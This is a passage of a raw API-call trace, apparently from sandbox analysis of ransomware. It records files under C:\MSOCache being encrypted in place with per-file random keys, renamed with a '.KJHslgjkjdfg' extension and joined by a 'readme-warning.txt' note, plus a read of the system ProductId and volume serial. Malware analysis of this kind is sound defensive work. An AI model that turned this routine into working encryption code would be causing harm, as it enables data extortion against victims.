dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0135.268] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0135.268] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0135.268] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0135.268] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.268] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xd8400, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xd8400, lpOverlapped=0x0) returned 1 [0135.278] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xd8400, dwBufLen=0xd8400 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xd8400) returned 1 [0135.288] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.288] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xd8400, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xd8400, lpOverlapped=0x0) returned 1 [0135.291] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0135.291] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xd84c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.291] SetEndOfFile (hFile=0x114) returned 1 [0135.295] GetProcessHeap () returned 0x2a0000 [0135.295] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0135.295] GetProcessHeap () returned 0x2a0000 [0135.295] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0135.295] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi.kjhslgjkjdfg")) returned 1 [0135.296] CloseHandle (hObject=0x114) returned 1 [0135.306] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0135.306] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0135.306] GetProcessHeap () returned 0x2a0000 [0135.306] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0135.306] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0135.306] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0135.306] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0135.309] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0135.309] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0135.309] GetProcessHeap () returned 0x2a0000 [0135.309] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0135.309] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30) returned 1 [0135.309] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0135.309] WriteFile (in: hFile=0x114, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f270*=0x30, lpOverlapped=0x0) returned 1 [0135.309] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0135.309] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0135.309] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0135.309] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0135.310] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0135.310] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0135.310] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0135.310] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.310] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5b2, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x5b2, lpOverlapped=0x0) returned 1 [0135.310] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5c0, dwBufLen=0x5c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5c0) returned 1 [0135.310] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.310] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5c0, lpOverlapped=0x0) returned 1 [0135.311] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0135.311] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.311] SetEndOfFile (hFile=0x114) returned 1 [0135.313] GetProcessHeap () returned 0x2a0000 [0135.313] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0135.313] GetProcessHeap () returned 0x2a0000 [0135.313] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0135.313] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.kjhslgjkjdfg")) returned 1 [0135.321] CloseHandle (hObject=0x114) returned 1 [0135.321] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0135.321] GetProcessHeap () returned 0x2a0000 [0135.321] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0135.321] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0135.321] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290f0a8 | out: pbData=0x2bf570, pdwDataLen=0x290f0a8) returned 1 [0135.321] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0135.321] GetProcessHeap () returned 0x2a0000 [0135.321] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0135.321] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0135.321] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290f0a8 | out: pbData=0x2bf5b8, pdwDataLen=0x290f0a8) returned 1 [0135.321] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0135.321] GetProcessHeap () returned 0x2a0000 [0135.321] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f32d0 [0135.322] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0135.322] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f32d0, pdwDataLen=0x290f0a8 | out: pbData=0x2f32d0, pdwDataLen=0x290f0a8) returned 1 [0135.322] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0135.322] GetProcessHeap () returned 0x2a0000 [0135.322] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0135.322] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290ec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0135.322] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ec88 | out: pbData=0x2bf528, pdwDataLen=0x290ec88) returned 1 [0135.322] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0135.322] GetProcessHeap () returned 0x2a0000 [0135.322] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1668 [0135.322] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290ec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0135.322] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1668, pdwDataLen=0x290ec88 | out: pbData=0x2c1668, pdwDataLen=0x290ec88) returned 1 [0135.322] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0135.322] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290ec84 | out: phkResult=0x290ec84*=0x114) returned 0x0 [0135.322] RegQueryValueExA (in: hKey=0x114, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ec90, lpcbData=0x290ec8c*=0x400 | out: lpType=0x0, lpData=0x290ec90*=0x30, lpcbData=0x290ec8c*=0x18) returned 0x0 [0135.322] RegCloseKey (hKey=0x114) returned 0x0 [0135.322] GetProcessHeap () returned 0x2a0000 [0135.323] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0135.323] GetProcessHeap () returned 0x2a0000 [0135.323] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1668 | out: hHeap=0x2a0000) returned 1 [0135.323] GetProcessHeap () returned 0x2a0000 [0135.323] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1668 [0135.323] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e9f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0135.323] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1668, pdwDataLen=0x290ea5c | out: pbData=0x2c1668, pdwDataLen=0x290ea5c) returned 1 [0135.323] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0135.323] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290ea60, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0135.323] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290ea58, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290ea58*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0135.323] GetProcessHeap () returned 0x2a0000 [0135.323] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1668 | out: hHeap=0x2a0000) returned 1 [0135.323] wsprintfA (in: param_1=0x290eca7, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0135.323] wsprintfA (in: param_1=0x290f0b4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0135.323] GetProcessHeap () returned 0x2a0000 [0135.323] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f3698 [0135.323] wsprintfW (in: param_1=0x290e084, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\readme-warning.txt") returned 90 [0135.324] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0135.324] WriteFile (in: hFile=0x114, lpBuffer=0x2f3698*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290e080, lpOverlapped=0x0 | out: lpBuffer=0x2f3698*, lpNumberOfBytesWritten=0x290e080*=0x3b3, lpOverlapped=0x0) returned 1 [0135.325] CloseHandle (hObject=0x114) returned 1 [0135.325] GetProcessHeap () returned 0x2a0000 [0135.326] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0135.326] GetProcessHeap () returned 0x2a0000 [0135.326] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f3698 | out: hHeap=0x2a0000) returned 1 [0135.326] GetProcessHeap () returned 0x2a0000 [0135.326] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0135.326] GetProcessHeap () returned 0x2a0000 [0135.326] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0135.326] FindClose (in: hFindFile=0x2c6260 | out: hFindFile=0x2c6260) returned 1 [0135.326] GetProcessHeap () returned 0x2a0000 [0135.326] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7d50 | out: hHeap=0x2a0000) returned 1 [0135.326] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40650500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x40650500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf0126df0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Proofing.msi", cAlternateFileName="")) returned 1 [0135.326] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0135.326] GetProcessHeap () returned 0x2a0000 [0135.326] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0135.326] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0135.327] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0135.327] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0135.327] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0135.327] GetProcessHeap () returned 0x2a0000 [0135.327] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0135.327] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40) returned 1 [0135.327] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.327] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f8*=0x40, lpOverlapped=0x0) returned 1 [0135.329] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0135.329] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0135.329] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0135.329] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0135.329] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0135.329] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0135.329] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0135.329] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.329] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xd4200, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0xd4200, lpOverlapped=0x0) returned 1 [0135.339] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0xd4200, dwBufLen=0xd4200 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0xd4200) returned 1 [0135.349] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.349] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xd4200, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0xd4200, lpOverlapped=0x0) returned 1 [0135.352] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.352] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd42d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.353] SetEndOfFile (hFile=0x124) returned 1 [0135.356] GetProcessHeap () returned 0x2a0000 [0135.356] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0135.356] GetProcessHeap () returned 0x2a0000 [0135.356] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0135.356] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi.kjhslgjkjdfg")) returned 1 [0135.357] CloseHandle (hObject=0x124) returned 1 [0135.357] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Proofing.xml", cAlternateFileName="")) returned 1 [0135.357] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0135.357] GetProcessHeap () returned 0x2a0000 [0135.357] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0135.357] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0135.357] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0135.357] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0x5, lpOverlapped=0x0) returned 1 [0135.376] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0135.376] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0135.376] GetProcessHeap () returned 0x2a0000 [0135.376] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0135.376] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40) returned 1 [0135.376] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.376] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f8*=0x40, lpOverlapped=0x0) returned 1 [0135.376] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0135.376] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, 